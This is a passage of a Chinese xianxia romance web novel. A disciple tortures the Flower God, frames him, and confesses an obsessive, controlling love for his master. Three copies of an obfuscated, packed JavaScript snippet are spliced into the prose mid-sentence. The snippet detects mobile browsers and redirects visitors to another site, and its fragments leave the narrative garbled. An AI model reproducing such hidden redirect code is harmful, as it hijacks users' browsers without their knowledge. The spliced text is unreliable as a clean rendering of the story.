混沌吞食猎物,会先摧毁猎物的心智与护体屏障,也好方便吸收。 为破解混沌幻境的方法,说难不难,说容易却也不容易。 他们只需顺应混沌幻境的发展趋势,循序渐进,幻境早晚都会出现破绽,到时他们便可寻着破绽破开混沌,脱身而出。 如若横冲直撞胡作非为,只会在幻境中越陷越深,难以脱身。 如今既然是将他们化成煜琢与徐枝儿的模样,想必煜琢二人亦是被吞食了进来,就是不知他们如今在何处。 虞丘渐晚向窗外看了一眼。 虽然眼前是一处绿洲,但向更远处看去,只有茫茫荒漠,而在她的周身,数名百姓面容枯槁,瘦骨嶙峋,一脸重病之相。 “我们这是进入了乌城的幻象。” 乌城,便是汝溪与煜琢结识后,到达的第一处城镇。 当年的乌城瘟疫情况颇为严重,汝溪为了给百姓医病,不吃不喝忙碌了数日,身子不济,所以她才会在变成“汝溪”之后,生出眩晕之感。 虞丘渐晚缓了片刻,觉得身上积攒了些许气力,起身错过黎为暮就要往门外走,探查具体情形。 眼前却是倏然袭来一阵风,只闻“轰隆”一声,房门自动闭合。 虞丘渐晚怔愣一瞬,后知后觉地转身,看向黎为暮。 如今她是“汝溪”,寻常凡人,身无灵力。 反而黎为暮成了“煜琢”,修为精深。 如今他面容更易,微笑之时,眉眼优雅至极:“师尊难得做回凡人,应是饥饿难耐,且先吃些粥吧。” 虞丘渐晚沉默片刻,接过他手里的粥,小口小口安静吃着,再次慢慢咽下一口时,她抬脸看了他一眼。 黎为暮眸色温和舒雅,似乎没有异常。 虞丘渐晚却是低下脸,小声开口:“抱歉子昼,让你……担心了。” 黎为暮摇头,轻声:“师尊总是惯于逞强,将所有困难都揽在自己身上。” 譬如此刻,她身上分明殊无半丝灵力,却仍是毫无迟疑地冲在最前。 “我知师尊仁善,但无论何时,弟子希望师尊可多留份心在自己身上,对自己多些关心。”他抬起脸,眸色温雅,清若海风,“就算不为了自己,也为了……挂心师尊的人。” 虞丘渐晚一怔,抬目看他。 却闻房门被人“轰隆”一声撞开,一个侍女打扮的少女冲了进来,猛然扑来一把拉过她:“徐姑娘!啊不……公主殿下!你知道晚晚在哪里吗?知道晚晚吗?!” 这个咋咋呼呼的性子。 虞丘渐晚沉默片刻:“……雪团子?” 侍女……雪团子怔愣一瞬,“嗷呜”一声扑到她的怀中。 由着幻境发展,在乌城待了几日后,虞丘渐晚启程返回楼兰王城。 站到城门前时,虞丘渐晚看向护持一路的黎为暮。 按照幻境发展,应该到了“汝溪”与“煜琢”分别之日。 彼时的楼兰公主是因与煜琢朝夕相处,生了心许之意,这才不忍分别。 虞丘渐晚则是因为这段时间她身无灵力,黎为暮总是不放心她,一步不落陪伴,如今想要劝他离去,恐怕……黎为暮会难以安心。 就见黎为暮低下眼,微微欠身行下一礼,轻声开口:“多谢……公主一路照拂。王城既至,在下也当离开了。” 没有想到他竟在根本不知煜琢与汝溪过去的情况下,推演出下一步应如何行事,更是主动出言离去。 虞丘渐晚欲言又止了许久,最终只能叮嘱一句:“万事小心。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12592946|130714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人视线彼此交接的瞬间,寰辛忍不住眯了眯眼。 不是他预料之中崩溃癫狂的模样,黎为暮一双琉璃眼眸清透依旧,气质清贵疏冷,长眉飞逸,唇色朱丹,神情还是素常的淡漠安宁,眼中也并无什么额外情愫,瞧起来与平日里并无什么不同。 以致让寰辛生出迟疑,他之前隐约察觉黎为暮对虞丘渐晚的感情不单师徒之情,似是掺杂了几分男女之爱,是不是真的是他的错觉。 见他许久不答话,寰辛掩下心中情绪,合起折扇敲了敲手心,弯起眸子十分体贴道:“还是有什么难事不愿与我开口?无妨,要是有什么难事,尽可告知于我。” 他笑吟吟道:“等到晚晚嫁给我,我便是你的师公了,都是一家人,你有任何繁难,师公责无旁贷。” 黎为暮仍是没有答话,也没有额外动作。 只有殿外忽地起了一阵风,猛然卷过殿内悬挂的红绸与绒花,珠箔琳琅脆响间,黎为暮莞尔一笑,缓声。 “并无急事,来日再寻师尊亦是无妨。” 说着,还抬手恭恭敬敬与他行了一礼。 就在黎为暮在微微欠身行礼的瞬间,还言笑晏晏的寰辛眼神剧烈一缩。 像是有什么人探手猛然攥住他的心脏,狠狠向外一拉,扯着他的心连带其他内脏一同完整拽了出来! 他猛然抬手一把按住胸口。 可那痛苦而窒息的感觉只有短短一瞬,若非那个瞬间便让他的额头瞬间冷汗遍布,好像一切都只是他的错觉。 黎为暮已经凑上前来,像是因为他的失神疑惑:“上仙?” 寰辛猛然后退一步。 一退之后才反应过来自己的失态与狼狈。 黎为暮淡淡望着他。 直到此时此刻,黎为暮眼中的情感才真实流露出来,讥嘲料峭,森寒冰冷,望着他的神情,像是在看一个自以为是的跳梁小丑,又好像在看一具死去多时的丑陋尸体。 而后一步与寰辛错身而过。 轻声与他道。 “恭贺新禧。” 恭贺,阁下新丧之喜。 28. 第 28 章 第一缕晨光破窗而入时,殿外早已传来喧哗声。 能听出有天界特意前来祝贺的仙友,有凡尘里德高望重的大儒,还有虞丘渐晚当年四处游历时结交的知己,掺杂着仙侍们忙前忙后招待客人的声音。 在被子中躲了整整三日的雪团子终于舍得探出脑袋,趁着虞丘渐晚不注意,将脑袋探到窗边,一个一个看过来,小声念叨。 “司命仙君、财神、蓬莱三仙……怎么诸位仙友都来了?!” 花神不是说他与虞丘渐晚的婚仪只是形式而已,只是为了让黎为暮暴露真面目,他尊重虞丘渐晚意愿,若她不允,绝不会真的与虞丘渐晚成婚。 可如今看看,天上众仙分明都来了,走形式假成婚还需众仙家都来配合吗?! 虞丘渐晚坐在梳妆台前,眼睛不眨望着面前的铜镜。 像是根本感知不到殿外热闹喜庆的氛围,也丝毫听不到雪团子的絮叨。 雪团子就算再傻,此时此刻也能瞧出自己全然是上了寰辛的当。 寰辛根本就不是假成婚,而是真正将这次大婚做实,生米煮成熟饭,让虞丘渐晚真的嫁给他! “花神不是说已经不喜欢你了吗,不是说要放手了吗?!怎还会让你嫁给他?!” 一时间也顾不得恐惧被虞丘渐晚责骂之类,雪团子急忙飞到她身前,焦急出声。 “晚晚!晚晚你怎么还不出去解释,告诉你是被迫,你根本不想嫁给花神!快呀!快去呀!再晚些你就真的要和他成婚了!” 它撞了虞丘渐晚一下,又撞了虞丘渐晚一下。 可不论它撞了多少下,虞丘渐晚就好像一个木偶一般,没有半丝想要动弹的意思。 “晚晚你怎么动都不动,你被定……” 话至此处,倏然噤声。 这几日下来,虞丘渐晚的确就如一个提线木偶一般,除了上床睡觉,便是一动不动坐在梳妆台前。 即使它闹到如今这个地步,虞丘渐晚也只是垂目望过它一眼,再无反应。 雪团子声音发颤:“你……控制不了自己?” 虞丘渐晚端坐原处,好似无知无觉。 雪团子身子发颤。 如今虞丘渐晚无法自控,只能任由着寰辛作为,让她成婚便成婚,让她拜堂便拜堂,甚至即使是洞房,也只能听从寰辛吩咐。 等到一切结束,尘埃落地,便算是虞丘渐晚想要反悔,也是晚矣。 寰辛的目的很清晰。 即使亲口承认自己已经不再喜欢虞丘渐晚了,可虞丘渐晚终究是他求了万年而求之不得的人,便算是他不心悦她了,但她虞丘渐晚即使化成骨化成灰,也只能是他寰辛的人。 寰辛,当真是个畜生! 而它,更是将虞丘渐晚亲手推出,助纣为虐! 悔意翻江倒海,雪团子豁然冲出。 它如今孤立无援,若是盲目冲到寰辛面前揭露他的真面目,只会被寰辛三言两语揭过,甚至反咬一口,栽赃它血口喷人。 必须寻人相助。 而如今能与虞丘渐晚站在一处的,唯有黎为暮。 可在雪团子冲到悬星殿中时,殿中早已空空荡荡,根本不见半个人影,它又挨个寻了黎为暮平日里喜欢前往的去处,却仍是一无所获。 倒是寻到郁孤台上时,在黎为暮往常盘坐修炼的地方,看到了一大滩鲜红刺目的血! 凑上前仔细感知了一下,还能察觉寰辛残留的灵力痕迹。 果然是寰辛心怀不轨! 黎为暮是最不愿意他与虞丘渐晚成婚之人,寰辛定是害怕今日大婚之上,黎为暮现身阻拦,特意提前给黎为暮除了去,也好一劳永逸! 可它就算知晓,如今亦是无能为力,眼看着大婚吉时将至,雪团子咬咬牙,直奔正殿而去。 虞丘渐晚的确被寰辛操控。 她意识清楚,却无法控制自己的身体。 三日下来,诸般方法她都试过,可寰辛也不知用了何种禁忌秘术,好似不惜将自己的仙魂封印在她身上,便算她如今再如何挣扎,却始终徒劳无用。 只能任由身侧的仙侍为她梳妆打扮,听着淬琼殿外的仙侍欢喜道了一声“吉时到”,为她盖上盖头,搀扶起她,一步一步走向殿外。 仙友们陪在一侧,纷纷恭贺她大婚之喜,身侧仙侍们引着她迈向昆仑正殿,祈天祷地。 喧哗声中,虞丘渐晚欲挣挣不得,心神已近麻木。 忽然听到人群中也不知哪一位仙友“咦”了一声,疑惑。 “新郎官呢,都快要拜堂了,新郎官怎么迟迟不见前来?” 一石激起千层浪。 出席婚仪的仙人说,昨晚时候遇到寰辛,说是自己尚有急事需要处理,会在今早大婚前赶回,也不知为何至今仍未归来。 另一个仙人点头应是,说寰辛离去的颇为匆忙,看样子确有要事。 却也有仙人猜测,说似乎听闻寰辛亲口承认自己已无意虞丘渐晚,万年感情不知为何一招消磨,是不是吓得逃婚了。 还有仙人连连附和,说是寰辛本就万花丛中过,遇到了虞丘渐晚才难得收了心,如今不过厌了倦了“原形毕露”罢了。 虞丘渐晚面容掩藏在盖头之下,双手交握。 众人因为新郎官不在急得团团转,她却不由舒了口气。 虽然不知缘由,但现下情况,于她而言怎样也是利好不过。 却闻身后的仙侍小声咕哝。 “说来,昨夜似乎看到花神与黎公子一道离开了?” “我也看见了!只是黎公子步履踉跄,身子好似不太康健。” 虞丘渐晚交握的双手一紧。 浑身筋骨随之而动。 虞丘渐晚清晰听到身子因为可以自主活动发出的“咔哒咔哒”之声,体内凝滞不动的灵力亦是潺湲流动。 她心有所感,汇聚丹田灵力向着四肢百骸轰然一荡。 寰辛下在她身上的禁制,轰然破开! 虞丘渐晚站直身子,猛然将盖头拽了下来。 盖头落地的瞬间,雪团子冒冒失失冲到她的身边,撞上她的肩头焦急出声。 “不好了晚晚!黎为暮不知道哪里去了,但我在郁孤台上看到了一大滩血!四周还残留着花神的气息!” 众人正因虞丘渐晚拽下盖头疑惑不解,以为她是忧心寰辛情形想要自己去寻,却见虞丘渐晚冷然拂袖。 清寒灵力层层荡开之时,四周大红色的喜帘、红烛、福字齐齐褪色。 变回了原本或浅蓝或霜白的素淡澄净模样。 虞丘渐晚亦是幻化了一袭水蓝长裙,眉眼冷肃,言简意赅:“诸位仙友,此番大婚全由花神寰辛一手操控,他封禁我灵力,禁锢我行动,却从来不曾过问我之意愿。” 此言落下,众人齐齐哗然。 他们都以为寰辛能够抱得美人归,全因他多年赤忱真情感动了虞丘渐晚,事到如今,竟是花神不顾昆仑山主意愿,强硬行事! 急性子如雷神这类仙人,早就抡起了锤子轰然砸下,义正词严:“花神这等强人所难宵小之辈,让我逮到,定会将他碎尸万段!” 虞丘渐晚抬手行礼:“此事我自会上达天听,还望到时诸位仙友为我作证。” 众人纷纷应好。 “此事虽非我之本意,却叨扰诸位仙友白跑一趟,空欢喜一场,他日之后,渐晚定会负荆上门向众仙家请罪!” 众仙摆手摇头纷纷表示不必如此。 虞丘渐晚遣来仙侍,吩咐好生招待众仙后,抬手挥袖,眨眼消失。 徒留雪团子追在她身后大喊:“晚晚等我!晚晚不要丢下我!” …… 寰辛怎也想不清楚,他究竟是如何落到如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12620584|130714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今的地步。 全身灵力尽数被封,没有哪怕一丝的还手之力,只能跌倒在地,清晰感知身上一寸一寸皴裂的伤口,和一点一点流出的鲜血。 明明他是仙人,自有天道庇佑,更是身负数万年修为。 怎会在面对一个只有百年修为的凡人时,竟是如同砧板上的鱼一般,任人宰割。 黎为暮站在对面,目光漠然,望着他身前好像在凝视一个死人。 寰辛不知黎为暮究竟对他做了什么,他所见到的,分明只是黎为暮简单地用匕首挑开他的血肉,掘断他的血管而已。 可每当匕首在他身上落下一道伤口时,肌理最深处便如同钻入一只小虫般,一点一点啃咬他的肌理、血脉,吞噬他的灵力,咬断他的仙骨。 好像有千万根细针不断在他体内游走穿刺,又好像无数个虫子咬食他的血肉,想要将他的血脉吞吃殆尽,徒然留下一具空空荡荡的皮囊随风鼓荡。 以至于一眼望见黎为暮手中持握的精致短小的匕首时,寰辛竟是克制不住地向后畏葸了一下,眼中流露出显而易见地畏惧胆寒之色。 便如同面对豺狼的幼兔,像是直对刽子手的死囚,只消看上一眼,便让他肝胆俱裂。 哪里有半丝往日里高高在上孤傲自负的仙人模样。 许是被他这副胆小如鼠的模样逗乐,黎为暮弯起眼眸,眉眼间浮现出些许细碎的笑意,更是歪了歪脑袋,像是十足困惑。 “仙躯,竟也是这般不堪一击吗?” 他明明只在寰辛身上下了一个销魂蛊罢了,甚至还没使用巫族咒术,更没来得及试试虞丘渐晚教给他的那些术法,就将天界堂堂花神折磨的毫无还手之力。 着实过于无趣了。 眼看着黎为暮迈前一步,寰辛瞳孔一缩,咬牙颤抖出声:“你……你果然对虞丘渐晚生了不干净的心思!” 黎为暮坦然应了:“是啊。” 他倾慕师尊。 黎为暮笑了起来:“可那又如何?” 等杀了这个碍手碍脚的花神,他仍可以回到从前那样,陪在师尊身侧,为她每日清晨送上雪水,问她安好,讨她欢喜,让她开心。 他们还是师徒。 经年之后,虞丘渐晚总会渐渐对他动心,放弃那劳什子的扶望神君,安心留在他身侧,与他长相厮守。 可这些,都与他花神寰辛没有任何干系。 眼看黎为暮再次上前一步,寰辛下意识想要后退,然而他如今全身筋骨尽废,稍一动弹便是锥心之痛,只能大口喘着气,警告出声。 “我与晚晚今日大婚,众仙家俱是出席婚仪,若我久久不归,他们定会来寻,到时……你会因屠戮仙神之罪落得和扶望神君一个下场!” “那也不错。”黎为暮再次上前一步,莞尔,“若我同样镇压昆仑山下,岂非可以日日陪伴师尊?” 便如同虞丘渐晚日日陪伴扶望神君一般。 在她心底留下不可磨灭的位置。 “可若真让虞丘渐晚看到你如今这般凌辱他人轻贱人命的模样,你以为,她还会承认你是她的弟子吗?!” 此言落下,黎为暮脚步终于一顿。 寰辛以为戳到他的痛脚让他生出了惧意,唇角不由自主翘起一个讥嘲的弧度,得意出声:“晚晚向来慈悲,最厌心狠手辣之人,你若将我放了,我定会……” 尚未说完,黎为暮已然叹息一声,接了话:“是啊。” 师尊最厌心狠手辣之辈。 他侧过脑袋,听着不远处急促行来的脚步声,挽唇一笑,没头没脑来了一句:“我亦想知晓,此事之后,师尊会厌恶你到何种地步。” 会不会恨不得亲手杀了你。 真让人期待。 话罢,黎为暮掩去匕首,竟在虞丘渐晚身形出现之时,化出长鞭,堂而皇之狠狠一鞭朝寰辛抽下! 29. 第 29 章 鲜血溅出之时,结界外的雪团子无能狂怒。 “无耻!无耻!寰辛我当真看错了你,明明都是你一人手笔,竟是栽赃给黎为暮!” 寰辛怎能这般厚颜无耻! 分明是他将黎为暮掳来,将黎为暮折磨的浑身上下没有一块好肉,如今却是划破自己的喉骨,用作自伤。 它用脚指头想也知道。 寰辛这是知晓自己伤害黎为暮师出无名,所以假造黎为暮事先“加害”他的由头,从而名正言顺铲除黎为暮。 那抹血色笔直溅出时,雪团子砰砰砰撞上结界,喊得嗓子都要哑了,却仍是难以消气地崩溃嘶吼。 结界之外,不同于雪团子的崩溃怒意,虞丘渐晚只是眼睛不眨地望着按住自己咽喉的伤口“寰辛”,神情恍惚。 眸中诸般情愫翻覆,似是感伤,似是悲痛,又似是不可置信。 许久,直到雪团子撞到她的耳边,连声问她怎么还在失神不尽快设法破开结界,虞丘渐晚才缓慢眨了下眼,抬手捏诀。 结界倏然炸裂。 镜面幻象受幻象主人操控。 在结界破开的瞬间,黎为暮控制幻象将他与寰幸的伤势进行调换。 被匕首鞭子伤得体无完肤的已经是真正的黎为暮,而颈下鲜血喷涌的,却成了寰辛。 雪团子瞬间蹿了出去。 二话不说一脚蹬上寰辛,大声怒骂他种种罪行。 虞丘渐晚却是站定到黎为暮身前,慢慢蹲下身,神情恍惚着望了他许久。 她抬手,轻轻按上他喉骨下方。 幻象,终究只是幻象。 便算是镜面幻象,交换伤势也不是真的将二人所受之伤加以交换,只是在他们身上投影出对方的伤势罢了。 此刻。 虞丘渐晚抬手按在他的喉骨下方,眸色似痛似伤,轻声询问。 “……疼吗?” …… 倒退回一日之前,虞丘渐晚怎也不会相信,她亲眼看着长大的那个善良而没有阴霾的弟子,竟会狠戾至此。 对别人狠,对自己更狠。 那匕首切下的位置,只消向上偏移半寸,仅仅半寸,便纵他是大罗金仙之身,亦会瞬间殒命。 可他……仍是毫无迟疑切了下来。 只为了将寰辛推入万劫不复的深渊。 虞丘渐晚触上的正是黎为暮颈上伤口位置,她动作极轻,却架不住他切下的伤口太深,即使不去触碰,亦是锥心刺骨的疼。 黎为暮眼睫轻抬,望入她的眼眸。 视线相撞的瞬间,彼此心中情愫二人心知肚明。 然而黎为暮仍是垂下眼睫,掩下眼底晦暗,幼鹿一般无辜靠上她的膝弯,睁着一双湿漉漉的眼睛讨好她,依靠她,像过去很多次一样。 以他过去常用的手段,惹她心软。 然而这一次,虞丘渐晚却是冷静闭了闭目,抬手一挥。 镜面幻象崩毁。 这一次,是真真正正彻底的崩毁。 雪团子那边还骑在寰辛脑袋上大骂他“恬不知耻”“狼心狗肺”之言,却见眼前一花。 本该只有颈前一道骇人深痕的寰辛,眨眼之际全身上下伤痕累累鲜血淋漓,没有一丝好皮,全然被折磨地不成样子。 反倒是本该奄奄一息重伤在身的黎为暮,颈上凭空出现了一道足足能有寸深的伤痕。 没有想到虞丘渐晚竟能勘破镜面幻象,本以为早是踏入绝路的寰辛霍然抬脸,眼中精光毕露,猛然抬手指上黎为暮,忍着身上剧痛控诉出声。 “是他!晚晚,你看!一切都是黎为暮自导自演,分明是他想要取我性命,却以镜面幻象将我们二人交换!我是受害者,我才是受害者!” 这番变故着实措手不及,雪团子犹是没有反应过来:“发生了什么?” 虞丘渐晚却好似根本没有听到寰辛的控诉,只眼眸不眨望着眼前的黎为暮,问出一声:“为何?” 他若知晓她与寰辛成婚全然被迫,那便解了寰辛加持在她身上的术法,协助她与众仙友解释清楚便罢。 他若觉着寰辛逼她成婚的手段着实卑劣,那便上达天听,将此事禀明,让天界降罪寰辛便罢。 便算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12636464|130714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当真他瞧寰辛诸般不顺眼,结下仇怨,那私下用些手段给寰辛添堵,好好惩处他一番,虽是此间做法见不得光,却也无可厚非。 可他今日所为,分明是想将寰辛彻底挫骨扬灰,乃至逼他魂飞魄散永无活命之机! 虞丘渐晚满面不解:“你究竟为何,恨他至此?” 她虽隐约察觉黎为暮性情森冷,却更知悉他温和敦厚,知晓若非逼不得已,他断然不会轻贱人命。 所以,这是为何? “因为他心悦你!” 一侧的寰辛讥讽出声,目光怨毒。 “因为他身为弟子却心思不净,对自己授业恩师生出贪妄痴缠,所以忍受不了你与我同在一处!更是妄想以弟子之身以下犯上,欺师灭祖!” 虞丘渐晚仍是望着黎为暮,好似没有听到寰辛话语,执着等待他亲口给她的答复。 黎为暮抬目望入她的眼眸。 许久。 从她勘破镜面幻象的那一刻,从她按上他喉骨伤口的那一刻,黎为暮便知晓,他的贪婪,他的丑恶,他的卑劣,他藏匿在心底不知多少年的对虞丘渐晚的占有与龌龊心思,就那样清清楚楚暴露在她眼前。 如今再去遮掩,已无必要。 黎为暮长睫轻扬,缓缓笑开。 这是他第一次在虞丘渐晚面前弃了平素的良善敦厚模样,眼底淡漠,笑容凉薄,带着视同万物生灵如蝼蚁的空无与寡情。 他不装了。 黎为暮陈述出这个在心底藏了不知多久的事实。 “正是如此。” 他凝视虞丘渐晚,瞳眸中欲望翻涌,几欲将她吞噬。 “因为弟子心悦师尊,想拥抱师尊,亲吻师尊,占有师尊,甚至将师尊关在殿中,囚在笼里,他人不可见、不可闻、不可知,让师尊的眼中心中,都只有我。” 他语调轻柔而舒缓,恍若情人之间的絮语。 “所以只要师尊身侧出现除我以外的任何旁人,我都只想将他们挫骨扬灰……” 黎为暮笑了开来,目光妖冶阴戾。 “永世,不得超生。”